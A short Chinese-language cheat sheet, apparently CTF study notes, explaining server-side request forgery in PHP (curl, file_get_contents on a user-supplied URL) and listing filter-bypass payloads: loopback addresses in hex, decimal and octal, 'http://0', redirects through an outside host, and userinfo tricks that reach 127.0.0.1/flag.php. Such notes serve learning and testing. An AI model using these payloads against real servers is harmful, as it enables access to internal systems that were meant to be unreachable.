SSRF
SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。
PHP
在PHP中的curl(),file_get_contents(),fsockopen()等函数是几个主要产生ssrf漏洞的函数 ***
- curl()
形如:
curl(url)
- file_get_contents()
形如:
file_get_contents($_POST[‘url’]);
绕过
各种进制的内网地址
#默认
http://127.0.0.1
#16进制
http://0x7F000001
#10进制
((127*256+0)*256+0)*256+1//计算过程
http://2130706433
#8进制
http://0177.0000.0000.0001
302跳转绕过
http://spoofed.burpcollaborator.net/flag.php
短绕过
linux中 0 指向本机地址
payload: url=http://0/flag.php
重定向(如果代码只能读取远程url,可以用这个方法)
url=http://106.53.207.220/SSRFDNS.php
URL构成绕过
在 URL 构成中,username 是指用于身份验证的用户名。例如,在 HTTP Basic 认证中,可以使用类似以下的 URL 来进行身份验证:
http://user:password@example.com/
可以用来让url忽略一些重要部分比如url=http://ctf.:passwd@127.0.0.1/flag.php#show等效于127.0.0.1/flag.php